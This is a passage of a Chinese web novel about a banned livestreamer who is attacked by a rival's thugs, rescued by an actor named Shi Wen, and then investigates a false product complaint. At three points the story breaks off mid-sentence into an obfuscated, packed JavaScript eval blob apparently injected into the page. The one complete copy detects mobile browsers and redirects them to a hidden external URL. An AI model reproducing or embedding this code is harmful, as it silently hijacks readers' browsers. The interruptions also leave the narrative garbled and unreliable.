这对于之前的林见微实在是算不上什么,但对于挣扎在十八线的大劈叉来说,创造了一个巨大奇迹。 她特意感谢了一下穿皮裤的老烟枪和瘦皮猴吼吼吼的鼎力相助,评论区涌现出了一阵“牛”的表情。 不少人称赞瘦皮猴吼吼吼,说他有情有义,说到做到。 时间来到凌晨一点,观众开始了新的一轮点歌。 然而也就在这时,林见微面前的手机突然黑屏了。 上面写着一行白色大字:您的直播间暂时停播,详情请咨询后台审核员。 她的直播间被封了。 29.二十九 对于这个结果,林见微并不意外。 下一刻,她以百米冲刺的速度冲到了洗手间。 解决完个人问题,整个世界都清明了,她长舒一口气,走回来时发现谷煜打来了电话。 接起后谷煜直截了当地说:“别着急,我在帮忙解决了。” 林见微感激不已:“谢谢,没事的我今晚挺累的,正好休息一下。” 谷煜的声音听上去很严肃:“刚刚我的朋友跟我说,这次解封恐怕不太容易,高翔那边采取行动了。” 林见微:“难为高先生这么晚了还守着看我直播。” 谷煜:“你爆的料影响很大,已经上微博热搜词条了。对了,你有微博吗?” 林见微很惊讶:“这还能上热搜?我没有微博,需要建一个吗?” 谷煜:“暂时不用,我们这边会实时监测词条的浏览量和评论,高翔那边肯定会动用大量水军控评,逼人删帖,热搜不会停留太久。” 林见微并不介意:“没事的,能激起一点水花已经很超出我预期了。” 谷煜:“你早点休息吧,这是一场持久战,需要保持体力。” 林见微笑了:“好,那就摆脱你多费心了。” 谷煜:“为了舒养酸奶,我豁出去了哈哈,谢谢你今晚的宣称,效果很好。” 林见微:“不客气,互相帮助,合作愉快。” 挂断电话,她看了一眼自己的主页。 她已经有五千粉了。 这说明,今晚的直播让她粉丝数翻了五倍。 一晚上粉丝数增长400%,这在香蕉平台是史无前例的事。 林见微收拾了一下桌上的空酸奶瓶,把几瓶没喝的放进小冰箱里。 她把空酸奶瓶扔进桌子底下的垃圾桶里,在原地站了几秒钟,还是决定把垃圾扔到外面。 没办法,她有点强迫症,没办法忍受垃圾在房间过夜。 拎着垃圾袋走到电梯间,却发现一直摆在那里的垃圾桶不见了。 林见微东看西看,又在同楼层里溜了一圈,都没看到第二个垃圾桶,只得提着垃圾坐电梯下楼。 一楼大堂的垃圾桶满了,她只得走出门外,走去街角的垃圾箱。 好巧不巧,街角的垃圾桶里也塞满了。 附近有一条小路,林见微记得里面有一个垃圾桶,便拐了进去。 凌晨一点多的道路空无一人,几盏昏暗路灯下,狭窄曲折的巷子两旁堆满废弃纸箱和垃圾。 林见微有些犹豫,巷子黑暗一眼望不到头,约50米外的地方依稀可以看见一个垃圾桶。 她想了想还是决定走过去,京南市的治安一向很好,而且一墙之隔就是闹市区,不时有车来车往,不会有什么问题的。 她提着装着空酸奶瓶的塑料袋往前快步走去。 天上几缕暗云遮住了月光,昏暗的路灯是唯一光源,林见微走到垃圾桶旁,刚准备把塑料袋扔进去,四周突然传来一阵脚步声。 听上去约莫是四五个人,脚步铿锵有力,一个低沉浑厚的男声叫道:“她刚刚是往这边走的!” 林见微的心一下子提到嗓子眼——这些人来者不善,不知道是冲谁来的。 ……不会是冲她吧? 急促的脚步声愈来愈近,林见微情急之下猫腰躲到了垃圾桶后面。 几个青壮男子从黑暗中转出,面露凶光地盯着林见微藏身的地方。 林见微透过垃圾桶上方缝隙看去,昏暗路灯照在几人脸上,让人觉得眼熟—— 赫然是几天前拿着家伙去林见微家楼下,被齐飞虎打得四处窜逃的那几人。 是高翔的人。 林见微心跳漏了一拍,呼吸一滞,大脑一片空白。 他们就是冲她来的。 来不及做任何反应,一人已经揪着她衣领把她从垃圾桶后拎了出来。 林见微发出一声惊叫,随即重重摔在地上,胳膊和膝盖一阵刺痛,空酸奶瓶散落一地。 面前那人脸上老长一道暗红疤痕,从额头延至嘴角,黑暗中十分恐怖,他邪邪笑着走向林见微,脚步和地面碰撞发出沉闷声响。 “你就是大劈叉吧。”刀疤脸嗓门低沉喑哑,两颗眼珠直直瞪着她。 他身后的几人也赶了过来,分别立在林见微前后左右。 这群人目测人均185,昏暗的灯光根本掩不住隆起的肌肉,身形犹如巨大屏障,将瘦小的林见微团团围住。 她声音发颤地问:“你们是谁?” 刀疤脸冷冷说:“有件事需要你做一下,手机带了吗?” 林见微怯怯地点头。 刀疤脸又说:“拿出来,把关于高公子的帖子删掉,并写封道歉声明,说一切都是你为了流量,故意捏造出来的。” 刀疤脸气势咄咄逼人,见林见微面露犹豫,立刻上前一步,一把拽住她衣领。 林见微发出惊声尖叫,下一秒“啪”的一声脆响,一个巴掌打了过来。 脸上顿时燎起一阵火烧一样的辣疼,林见微痛苦地捂住脸颊,眼泪不自觉地涌出。 但林见微是个犟种,在南墙上撞得头破血流也不回头的那种,她咬牙仰着头,狠狠瞪着前面。 喉咙深处冷冷吐出两个字:“做、梦”。 刀疤脸万没想到林见微还敢还嘴,气急之下再次扬起手,眼看一个巴掌又要抽下! 空气呼呼作响,林见微闭上眼咬紧牙关,眼泪顺着两颊流下。 然而,巴掌并没有落下,随之传来一声凄厉叫喊,揪着衣领的手也松开—— 林见微摔倒在地,睁开眼后讶异地发现,刀疤脸被单手吊着拎起,随即一声闷哼,头朝下扑倒在地。 他的身旁站着一个熟悉的穿着白衬衣的颀长身影,他反手一拧,朝后背重踢一脚,刀疤脸痛得哇哇大叫。 一旁几人从腰间掏出匕首,迅速围拢过来。 时闻垂下的眼睫微微颤动。 林见微惊呼一声“小心!”与此同时周围几人大喝一声,同时朝时闻扑去! 那几人将时闻团团围住,所以林见微看不清时闻动作,只听见一声惨叫,一人扑通后仰倒地! 右边一人从斜里扑出,但手腕立马被时闻握住,反手一拧,咔嚓一声骨头断裂,痛苦嚎叫之声响彻整个小巷! 左边一人顺势抢上,那人会一点拳脚功夫,躲过了时闻的反制,匕首刺出直指时闻眼睑! 时闻微微后仰,匕首擦着鼻尖堪堪略过,那人不待时闻反应飞踢一脚,正中时闻小腹,待他踉跄后退时匕首再次刺出,直取时闻眉心。 时闻举臂阻挡,胳膊瞬间被划出一道深深血痕,他踉跄后撤时手边摸到一块枕头,反手拍出,正好那人匕首刺出,刀刃深深卡进砖头里。 时闻借势将砖头向前压下,那人咬牙支撑,但最终力道不及,重重摔在地上,时闻一脚飞出,那人被踢得满口鲜血。 林见微坐在一旁呆呆看着一切,简直不敢相信自己的眼睛。 时闻看着挺瘦削的,没想到竟然如此能打。 他站在中间目光如炬,握着一把不知从哪里夺来的匕首,刀疤脸等人横七竖八地倒在地上,不时发出急促喘息。 时闻嘴角微微向上扬起,露出一抹嘲讽冰冷的笑。 四下里安静极了,深巷里的狗吠和一旁的车辆穿行声都清晰传来,伴随着刀疤脸等人的粗重喘|息声。 片刻后,刀疤脸挣扎从地上爬起,其他几人也互相搀扶着颤颤巍巍站了起来。 刀疤脸瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时闻压下眼尾,喉结上下滚动几次,好半晌才低声喑哑道:“对不起,我刚刚失礼了。” 林见微慌不择路地和他拉开距离,大脑急速检索着什么,片刻后结结巴巴问:“你,你的胳膊……怎么办?” 时闻低头看了一眼尚在渗血的胳膊,摆了摆手:“不碍事,我等下自己处理就行,你快回去吧。” 停顿一下又改口道:“还是我送你回去吧,省得路上又出什么事。” 林见微连忙摇头:“你赶紧上医院处理伤口吧,我就住在附近,自己能回去。” 半小时后,临江医院急诊室。 一个带着老花眼镜,头发花白的老大夫一边一圈圈裹着纱布,一边语重心长地嘱咐道: “你们这些小年轻,一天天的就知道低头扣手机看短视频,所有时间都浪费在这上面了。” “这下长教训了吧,走路玩手机绊了一跤,正好摔在水泥钢筋上。” “你这算是幸运的,没伤着骨头,缝缝针等个破伤风就好了,等哪天腿摔断了,有你哭的。” 时闻乖巧地坐在对面,“嗯嗯”地连连点头。 “你也是,看好你男朋友,让他走路看路,别玩手机。”老大夫又转头看向林见微,表情十分严肃。 林见微大脑一片空白,刚想反驳,时闻捅了捅她胳膊肘。 她左看右看,想来想去把话咽下,简单地答道:“嗯嗯。” 包扎完,时闻去医院另一头打破伤风,林见微跟了过去。 坐在椅子上等着叫号的时候,她问道:“刚刚干嘛不让我说话?” 时闻比林见微高许多,此刻他抬起胸膛往一旁看去,林见微看不清他的神情。 “大夫老爷爷挺啰嗦的,你说一句他能教育你十句,大半夜的何必浪费时间呢。” 林见微想想也有道理。 已经到了后半夜,但医院依然人来人往,走廊里好几个打着绷带拄着拐的人走来走去。 林见微默默看了一会儿,还是决定问出那个困扰了她一整晚的问题:“你怎么会出现在附近?” 30.三十 时闻:“我家就在附近,晚上睡不着起来遛弯,正好撞见刀疤脸他们。” “我看这帮人来者不善,就想跟过去看看,没想到他们是去找你的。” 林见微有些惊讶:“你住在附近?哪个小区?” 刚问完就有些后悔:家庭住址是个人隐私,她和他又没关系,干嘛瞎打听! 时闻倒是大大方方报出了附近的一个小区名字,锦鑫花园。 这下林见微更惊讶了,锦鑫花园的房子虽然还不错,有六成新,租金适中,但对于时闻这么个公子哥来说,实在是差了一点。 似乎是看穿了她的疑问,时闻耸耸肩说:“最近这不没工作了吗,开源节流一下。” 林见微:“……没事你现在是香蕉平台的主播一枚了,有工作的。” “你开播之后,流量肯定特别可观,到时候随便接接商务,肯定不愁收入。” 时闻哭笑不得,欲言又止了半天说:“那就借你吉言。” 林见微其实明白时闻为什么这副表情。 一个气质独特,眼光高远的电影演员,现在要降格成为主播,天天对直播间的各位大爷们赔笑脸,费尽心思挣一星半点的流量。 任谁也受不了。 但……她不就这么过来了么。 见她沉默,时闻补道:“我其实就是去香蕉直播挂个名,平时也就发发照片,不真的直播。” 林见微点头表示理解:“你光站在那里,什么也不说什么也不做,自动就有流量了。” 时闻没再说什么,这时正好轮到他打破伤风,护士叫他进去先测一下是否过敏。 十分钟后时闻愁眉苦脸地出来了,手臂上一块鲜艳的红。 “我破伤风过敏,要分三次打。”时闻听着十分委屈。 林见微有点想笑,时闻平时看着深沉高冷,怎么委屈得像只小猫。 “你反正也没工作,在医院多待俩小时也不碍事。”林见微安慰道。 时闻皱眉:“不是担心耽误时间,而是……破伤风是打屁股上的,很疼。” 林见微脑子里浮现出刚刚暗巷里他以一打五的壮观场景,又想起他一条胳膊被匕首划伤流血后一声没吭的样子。 半晌她没头没脑地来了句:“要不我陪你进去打针?” 时闻:“……??” 两个人都陷入尴尬沉默。 最近太缺乏睡眠,林见微脑子不大好使,总是说些不着调的话。 “咳咳,我是说,没事我在这里陪着你呢,不用害怕。”林见微露出一个心虚的笑容,赶紧转移话题。 “话说你那件灰色西装外套还在我那里,我……我还没来得及干洗。你上次说要把买衣服的收据给我,找到了吗?” 时闻:“没事,不用放在心上,那件衣服我穿了几年了,正想换新的呢。” 末了又补了一句:“你留着吧。” 说完他就后悔了:他和她又没什么关系,为什么让人家女孩子留自己的衣服。 多暧昧啊。 他可是正人君子,从不做沾花惹草的事。 林见微:“那多不好意思,你给我个价,我赔给你。” 时闻犹豫了下说:“五万块钱你有吗?” 林见微:“…………………………没有。” 时闻一副“那你问我干嘛”的神情。 林见微有些不好意思:“我,我就是个十八线主播,平时根本不挣钱,也就是最近走大运了才接到第一个商务合作,赚了几百。” “要不我打个欠条,每个月还你千八百的,分50期还完。” 时闻:“……算了,当我什么也没说,不用还了,衣服你看不顺眼就扔了吧。” 这时护士叫时闻进去打第一针,时闻愁眉苦脸地进去了。 一分钟后,屋内传来一声惨叫。 两分钟后,时闻走了出来,面容凄惨。 林见微觉得好笑:“刚刚那么凶险的时候你都不怕,怎么害怕打针?” 时闻没说什么,只是往旁一坐,生无可恋地看着天花板。 林见微在一旁打游戏,也没说什么。 三针打完已经是凌晨四点,林见微困得上眼皮打下眼皮,哈欠连天。 她把手机装进兜里,伸着懒腰眼泪汪汪地说:“可算完了,那我就回去了。” 时闻沉着脸点点头,没说什么。 林见微眨了眨眼,看了下他包扎得严严实实的手臂,犹豫了下还是问道:“你自己能回去吧?” 时闻“嗯”了一声:“可以自理。” 林见微噗嗤笑了出来,再次打着哈欠摆摆手:“好,多保重,再见!” 说完,她把手机扔进兜里,一溜烟小跑走了,完全没注意身后时闻复杂的眼光。 他本想问问她要不要送她回家来着。 看来不用。 回到酒店门口已是将近白天,天边泛着鱼肚白,泻进来的晨光将黑暗一点一点驱散。 林见微打着哈欠走进酒店,坐电梯上楼,进到房间后立刻踢掉鞋子,扑进被子里。 困意汹涌袭来,她上眼皮紧紧贴着下眼皮,眼看就要沉沉睡去,这时手机叮咚响了一声。 是一条微信消息。 林见微游走在睡着和醒着的边缘,大脑利用仅存的一点理智思索了片刻,还是掀起上眼皮。 她哀叹一声拿起手机,看到锁屏上消息的那一刻,困意突然消失不见。 韦宁发来一条消息。 [韦盏,有空我们见一面吧。] 八百年没联系了,怎么突然说要见面? 说来惭愧,最近事情太多,林见微一直想着等处理完手头棘手的事再给姐姐韦宁发消息。 没想到姐姐的消息先发过来了。 犹豫了片刻,她回道:[好,什么时候?] 韦宁:[过两天吧,这周五有空吗?] 林见微扳着手指头算了算,今天是周三,所以还有两天。 她回说:[没问题,具体的时间地点呢?] 过了一阵韦宁说:[要不就周五下午一起喝杯咖啡吧,时光咖啡馆,下午三点] 林见微知道时光咖啡馆,在老城区那边,已经开了十来年了。 [好,不见不散] 放下手机,困意再次如潮水般袭来。 林见微放下手机,发誓这次连天塌下来都不管了。 然而,在她即将睡着时,手机又响了一声。 是姐姐韦宁的回复吧,林见微在心里嘟囔着。 不看也罢,反正姐妹俩感情不好,不需要秒回。 然而闭上眼躺下几秒钟后,林见微还是长叹一声,抓起手机看了看。 这次是麦乐鸡的消息。 林见微顿时来了精神:她账号刚刚被封,麦乐鸡就联系她,莫非…… 上一次账号被封就是她捣的鬼,说不定她故技重施,然后发个消息看看热闹。 兵来将挡水来土掩,林见微决定看看麦乐鸡这次葫芦里卖的是什么药。 抓起手机,麦乐鸡说:[劈叉妹妹,在吗?] 林见微皱眉:有话说话,她最讨厌这种发个“在吗”但不说正事的人。 故意等了一分钟,她回道:[怎么了?] 手机立刻震动并响起铃声,麦乐鸡的电话打了进来。 接听后,麦乐鸡语气关切地问:“亲爱的,最近两天还好吗?” 林见微眉头皱得更深了,她账号被封人尽皆知,何必在这里绕着弯试探。 她直截了当回说:“账号都被封了,自然不太好。” 麦乐鸡有些尴尬地笑了笑,她一向奉承看破不说破的原则,现在林见微跟她打直球,她心里泛起一股厌恶之情。 但表面上她的声音还是保持着甜美柔和:“我们都听说了,唉,在这个行业里,直播间被抬不是什么不常见的事。” “你向后台申报了吗?他们有没有透露是因为什么被抬的?” 直播间被抬意思就是说直播间因为一些违规言论被封禁,很难完全避免,即使是老主播,也有可能在连麦的时候,因为连麦人说了什么不该说的,下播后得到通知,直播间要被封禁几天。 但林见微现在面临的情况,远比直播间被抬要严重的多。 她是整个账号都被封了,很可能以后再也不能直播。 面对麦乐鸡的避重就轻,林见微有些生气,但还是忍着性子说:“像我这个情况,恐怕问了后台也没有用。” “对了,上次你不是跟我说,公司很重视我,上层领导还想约我吃饭?” “现在这个问题,能不能拜托他们想想办法,和香蕉平台沟通一下,早日解封我的账号?” 麦乐鸡在心里冷笑不止:大劈叉真是不知天高地厚,也就一天流量不错,就奢望公司高层会管这烂摊子。 那天晚上大劈叉确实数据亮眼,创造了公司直播史上的奇迹,公司高层也确实表达了想要进一步扶持她的意愿。 但此一时彼一时,当时公司高层还不知道大劈叉头这么铁,否则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二人又寒暄了几句,挂断电话,黑暗中林见微露出一抹意味深长的微笑。 按照群蕉荟萃的活动规定,确实是粉丝数过万的主播才可以参加。 或者如果有平台大粉的倾力推荐,也可以获得参会资格。 林见微粉丝数没有过万,作为平台大粉的陈怀顾也没有推荐她,所以郝施和麦乐鸡自然而然地认为,林见微没有参会资格。 但她们都错了,因为还是有人慧眼识珠的。 在直播间被封禁之前,她收到过一则系统消息: 恭喜您,穿皮裤的老烟枪倾情推荐您作为人气新人主播参加本周末的群蕉荟萃。 活动将于本周六中午12点到周日晚9点举办,地点:京南市会展中心。 请您准时参加,期待您的加入! 当时她盯着屏幕,内心只有一个想法: 穿皮裤的老烟枪可真是一个活菩萨啊!! 和麦乐鸡的通话耗尽了她当天的电量,把手机撂到一边后她很快就睡着了。 最近实在太过劳累,她不仅一秒进入深入睡眠,而且还睡得特别沉而死。 醒来的时候屋子里黑漆漆的,她脑子不太清醒,甚至有那么一会儿不知身在何处。 过了好一会儿她才迷迷糊糊想起来,自己是大劈叉,现在在酒店。 拿起手机,上面显示下午4:21。 妈耶,她几乎睡过了整个白天。 揉了揉眼睛,她强迫自己清醒过来。 看了看手机,有一些无关紧要的未读消息,还有几个貌似是骚扰电话的未接来电。 香蕉平台上依然显示她的账号是未解封状态。 这时手机又响了一下,拿起来一看发现是谷煜的消息: [放心,事情还在解决中,有一些小进展,之后找时间和你细说。] 林见微内心涌起一阵感动:谷煜这人真是又心细又靠谱,一晚上过去就有了小进展,还不忘给她更新实时进展。 她迅速回道:[谢谢!那我就静候佳音啦] 还没等谷煜回消息,手机又响了一下,是香蕉平台来的消息。 点开一看,是一则系统消息。 林见微有些惊讶:谷煜说是小进展,没想到后台这么快就联系她了。 怀着激动而好奇的心,她点开系统消息。 然后差点没背过气。 [您在直播间推广销售的舒养酸奶被举报产品质量不合格,经过研究平台将对您采取以下处罚:] [罚款一千元,并处以公开批评] 林见微:………苍天啊!! 31.三十一 她立刻把系统消息截屏发给谷煜,下一秒谷煜电话就追了过来。 一上来听筒对面就传来一连串的卧槽卧槽等国骂,导致原本正在气头上的林见微一下子转怒为乐,扑哧一声笑了出来。 谁能想到,正人君子谷煜气急之下,也能蹦出一连串国骂。 谷煜待她笑完,无奈道:“笑什么,怎么,你有钱交罚款?” 提到钱,林见微立刻哭丧着脸,摇头叹息:“没,我兜里一分钱都没有。” 谷煜笑道:“别急,这件事肯定有蹊跷,我问问我朋友。你也后台申诉一下,看看能不能打听出点信息。” 林见微犹豫道:“我可以试一试……要是能知道举报人就好了,还有举报原因。“ 谷煜点头:“没错。”顿了一下又补道:“要是还说我卖的酸奶过期,我就……我就顺着网线爬过去,跟他拼了!” 林见微又开始哈哈大笑:“希望这次是个有创意的借口。” 两人挂断电话后,林见微看着那则系统消息,越来越愁眉苦脸起来。 昨晚直播间被封号,今天又被举报带的货有问题,这真是屋漏偏逢连阴雨。 有人希望让她从互联网上彻底消失,所以一波接一波地搞她。 但她岂是好欺负的?多少年在娱乐圈这个大染缸里摸爬滚打,一步一个脚印地走到了今天,怎么可能轻易认输。 她要和这波势力斗下去,哪怕斗到天昏地暗,斗到山穷水尽,她也要坚持下去。 不然枉自多活了这一遭。 思索片刻,她找到了香蕉平台后台申诉的链接,点击了申请申诉。 简要概述了申诉理由,又提交了相关证据,她提交了申请。 之后她把申诉申请用微信转发给了小花猫喵喵喵,并问了句能不能多提供一些消息,比如产品是如何违规的。 意料之中的,一个小时过去后,两边都没有回复。 这时谷煜又打开了电话,接起后一连声的叹气: “唉……大劈叉,我感觉这件事不好弄。” “我朋友确实找到了香蕉平台主管审核的人,但收效甚微,对面好像收到了很大的压力,一直闪烁其词,不肯正面回答我们的问题。” “我们绕来绕去,也没能证实究竟是谁举报的直播间,直播间什么时候可以解封,以及又是谁举报的舒养酸奶,理由是什么。” “问来问去,对面只有一句话:回去等通知。” 说着他长长地叹了一口气,内里透着各种无奈和愤懑。 林见微自然有些气馁,但还是鼓励道:“没事,既然如此我们就再找找别的门路。” “我刚刚联系了后台管理员,但还没收到回复。” 谷煜仍在唉声叹气,过了一阵说:“对不起啊我这边没能帮到太多。你公司那边怎么说,能帮你问问吗?” 林见微想起麦乐鸡那副冷嘲热讽,唯恐天下不乱的嘴脸,内心飘过一阵冷笑。 “不太可能,”林见微快速说道,“他们不给添乱就够不错的了。” 谷煜又一次叹气,这时林见微突然脑中电光一闪:“我有个想法,昨晚直播下单购买舒养酸奶的,你我那里都有份明细对吧?” 谷煜好像猜到了她想说什么,不自觉地兴奋起来,语调也拔高了一个度: “没错,谁买了多少,什么时候买的,我这里都有记录。” 林见微点头沉稳道:“好像也就大概五十人购买过,不如我一个一个联系看看,就说是售后调查,看看有没有人反应什么问题。” 谷煜眼睛一下子亮了起来,直竖大拇指,语气里是掩不住的夸赞和兴奋:“没错没错,你真是个天才!” 林见微嘿嘿一笑:“事不宜迟,我现在就开始。” 谷煜连说了几个好,挂断了电话。 林见微从系统后台调出了昨天的销售明细,上面按照购买量从大到小列出了所有购买者。 高居首位的是穿皮裤的老烟枪,购买了20瓶。 第二位是瘦皮猴吼吼吼,购买了10瓶。 这并不意外,毕竟穿皮裤的老烟枪光是刷礼物就刷了好几百。 瘦皮猴吼吼吼则是昨天自己把自己架上去了,不多买点说不过去。 两个人都是同城快递,隔夜就送过去了,二人已签收,并且瘦皮猴吼吼吼还留下了好评: 舒养酸奶一级棒!看来人还是不能有成见。 穿皮裤的老烟枪也点了个五星好评。 她不相信恶意举报是这两个人做的,不然也太精神分裂了。 往下看,有十几个人点了6-10瓶,三十几个人点了3-5瓶,还有几个人只点了一瓶。 林见微盯着列表最后的那一块,陷入思考。 舒养酸奶一瓶只有150毫升,实在是不多,如果是在便利店购买,买一瓶说得过去。 但是既然下单网购了,还要付运费,为什么不一次性多买点? 她的目光在列表末尾那几人中来回盘旋,最终,一个头像是一根香蕉的,ID名为香蕉蕉2481048的用户吸引了她的注意。 这个人的头像和用户名都是系统默认的,说明ta注册完香蕉平台后并没有费心修改任何设置。 点进这个人的主页,果然空无一物,只填写了性别男,IP显示是冬江。 虽然如此,林见微发现这个人的收藏夹是公开的,于是她点了进去,发现他收藏了不少关于艺考的资料。 艺考,只看这一条就够了 你不知道的艺考的“潜规则” 家有艺考生,临门一脚需要注意什么 看起来这不是一个僵尸号或者人机号。 林见微划出去,又依次看了看其他几个只购买了一瓶或者两瓶的用户,也没发现什么太可疑的地方。 思考了片刻,她给谷煜发了则消息:[帮我查查ID香蕉蕉2481048的用户信息] 谷煜回说好。 接下来的几天没什么太大进展,谷煜那边人脉有限,问不到太多核心信息,认识的人能力权限都不够解封账号。 再加上舒养酸奶的食品安全问题也牵扯各种精力,谷煜分身乏术,渐渐地有些力不从心。 林见微也没太着急,毕竟高翔的势力太过强大,就算整个谷家都参加战斗,也斗不过叶大根深的高家。 此时敌强我弱,又来势汹汹,只能慢慢等,等敌人麻痹松懈,等一个绝地反击的时机。 虽然如此,谷煜还是带来了个好消息:他的朋友通过系统后台查到了ID香蕉蕉2481048的用户信息。 事实证明,林见微的直觉是对的,舒养酸奶的差评就是这个人留的。 林见微想了想,切进小号,改名叫做香蕉小助手,直接给他发了条私信。 [您好,感谢您之前在大劈叉的直播间购买舒养酸奶!想问问您对直播间的产品质量、服务态度、发货速度等有没有什么反馈呢?] 等了一天,对方没有回复。 到了晚上,林见微又发了一条:[您好,最近香蕉平台有给反馈抽红包的活动,红包返现额度最高可达100元,请问您有兴趣参与吗?] 金钱的力量是强大的,没过半小时,对方就发来了回复:[有兴趣] 林见微默默欢呼一声,立刻追问道:[那请您在这里留下回复,我们审理后,如果符合规定,会给您发放红包] 没过一会儿,对方说:[酸奶过期了啊,喝完拉肚子] 接着又发来一张照片,点开一看是医院挂号单、就诊记录、取药单。 上面显示该患者王某,男45岁,去医院看了急诊,原因是腹痛加上吐下泻,挂水加开药,折腾了大半天。 医药记录和信息都很完备,还附有酸奶的取样,证据链十分完整,无懈可击。 但林见微还是心存疑惑。 冬江离京南不远,车程两个小时左右,隔夜送是可以早上送到的。 但真的有这么快吗?因为穷,她设置的是最普通的快递,隔天到的那种。 思忖片刻,她回道:[感谢您宝贵的反馈!我们会进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508678|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查证,如若属实,我们一定从严处理。] [您反映的问题对我们很重要,请问您这周方便接受一个简短的采访吗?] [接受采访可以获得更大力度的返现奖励,最高可获得500元奖励哦] 对方立刻说:[有兴趣,你们是电话采访还是实地采访?什么时候进行?] 林见微:[实地采访您一下可以吗,周三到周五都可以,您这边什么时候方便呢?] 对方想了想说:[要不下周一吧,下午两点,冬江城市花园小区楼下见] 林见微:[那您留个联系方式吧,电话或者微信都行] 没一会儿对方推送过来一张微信名片。 冬江暖阳 林见微切进自己的微信小号,如法炮制把名字改成香蕉平台小助手,又确认了朋友圈三天可见的设置,然后发送了好友申请。 冬江暖阳很快就通过了,两个人在微信里又确认了一遍见面时间和地点以及采访内容。 这一切做完,林见微买了下周一一大早的高铁票,又把冬江暖阳的微信号扒了个遍。 冬江暖阳其实是冬江市一个出租车公司的名字,这位用户看来是这家公司的司机,朋友圈清一色的都是宣传自家公司的链接。 还有若干拍摄晨曦和夕阳的照片,配的文案是:早安冬江,晚安冬江一类的。 中间零星夹杂几条艺考信息的链接。 这周剩下的时间,除了这些背调,林见微还抽空看了看房子。 一直住在宾馆总归不是办法,也不划算,她得尽快找个合适的地方搬出去。 最好是一室一厅,离市区不太远的,租金四千到六千块的那种。 但看来看去也没什么合适的,不是位置太偏就是房子太破,或者价格高得离谱。 翻遍三四个房屋中介平台网站,实地探访了三十多个房源,货比三家比到头秃后,林见微唉叹一声: 还是做演员好啊,她当红的时候,什么好房子没见过! 就算是京南市最高档的公寓,她咬咬牙努努力也能租得起。 手上的各类事情都没什么实质性进展,林见微心情不免低落,这么一来只能靠刷手机看直播缓解焦虑。 这天中午她又打开林波微步的直播下饭。 不得不说,林波微步小哥哥长得真是帅,这蓬蓬的自来卷,白嫩嫩的小脸蛋,眨巴眨巴的大眼睛,忽闪忽闪的长睫毛,啧啧,每一点都长在了她的心趴上。 而且人家业务能力也强,随便跳个舞就是王炸。 鉴于大劈叉的小号劈大叉已经被改名为香蕉平台小助手,林见微干脆又搞来一个小号,取名为劈叉大,专门看林波微步的直播。 看着看着她就又上头了,噌噌刷了几百块的礼物,搞得林波微步本尊亲自道谢,还说要送她一支舞蹈。 林见微拒绝了半天,但底下粉丝也拱火,最后她只得点了一首《武娘》。 林波微步二话没说立刻舞了一曲,动作干净有力,舞姿兼具柔美和刚强,简直到了雌雄一体的境界。 虽然已经看了许多遍,但这一次还是让林见微啧啧称奇,膜拜不已。 最后她又刷了一百多块的礼物才走。 时间很快就来到了周末,周六下午,林见微选了套白T和牛仔裤,脚上随意踢了双运动鞋,出发去老城区的时光咖啡馆。 她和姐姐韦宁约了下午三点在这里见面,林见微提前十分钟过来了,点了杯拿铁,在一个靠窗的位置上坐下。 时光咖啡馆开了得有二十年了,是京南市最早一批咖啡馆之一,店内的装潢模仿的是俄式风格,复古典雅。 随着时间一分一秒过去,林见微的心脏越跳越快,脑子里设想了无数种可能。 三点零一分的时候,门口风铃发出一阵清脆声响,店门打开,一个穿着白纱长裙,长发披肩的女人温柔地走了进来,向内张望。 一阵花果清香幽幽袭来,是一种特殊的洗发水味道。 林见微的心提到了嗓子眼,直觉告诉她,这就是姐姐韦宁。 32.三十二 林见微站起来的时候踢到了凳子,差点绊了一跤。 姐姐韦宁看上去约莫二十五六,比大劈叉大了五六岁,乌黑如瀑的长发随意地披下,白色纱裙上挂着一个藏蓝色帆布包,整个人显得美丽端庄,满是文艺气质。 她看过来的目光有些复杂,带了点欣喜和困惑,又充满温柔的责备。 “韦盏,”她开了口,声音清脆柔和,“好久不见。” 林见微僵硬地笑笑:“好久不见。” 韦宁点了杯热美式,等餐的时候问道:“你最近过得好吗?” 林见微:“还不错,你呢?” 韦宁如轻叹般点点头:“老样子。” 林见微来之前把姐妹俩的聊天记录翻了个底朝天,又把韦宁的朋友圈看了个遍,知道姐姐是个全职编剧,靠写剧本改剧本为生。 这可是个苦差事,林见微拍戏这么多年,深知编剧的辛苦:除了那些极少数的头部编剧过得还算不错,其他的名不见经传的小编剧们几乎都生活在演艺行业的最底层。 熬夜改稿、为了满足制片方、导演、演员等各方的奇葩需求改稿改到头秃、连夜改好的稿子被轻飘飘一句话轻易否掉,一切又重新开始。 最后戏拍不好,观众老爷们还要把编剧骂得体无完肤,恨不得把人祖坟都刨出来鞭尸一顿。 苦啊。 姐姐韦宁很不幸地就挣扎在这种水深火热之中。 美式很快做好,韦宁捧着杯子走到窗前坐下,阳光洒在她略显苍白的脸上,将眼角细微纹路和鬓间几根白发照得清清楚楚。 林见微:“最近还在熬夜改稿吗?” 韦宁啜了一口热美式,氤氲的咖啡香飘了过来。 她抬起头,眼睛乌黑深邃:“嗯,最近在做《冬逝华年》的剧本,挺忙的。” 大劈叉一定不知道《冬逝华年》是什么,但林见微明白——拍摄《烟雨半生》的导演文眉正筹备制作一系列浪漫爱情的戏,无数编剧竞标投稿,最终脱颖而出的有三部剧本。 《冬逝华年》就是其中一部。 文眉不算特别出名的导演,但林见微是拍她的戏火起来的,所以对她的动向知道得比较清楚。 文眉导演以严格著称,所以韦宁的剧本能入她的法眼,说明剧本的文笔和构思一定非常优异。 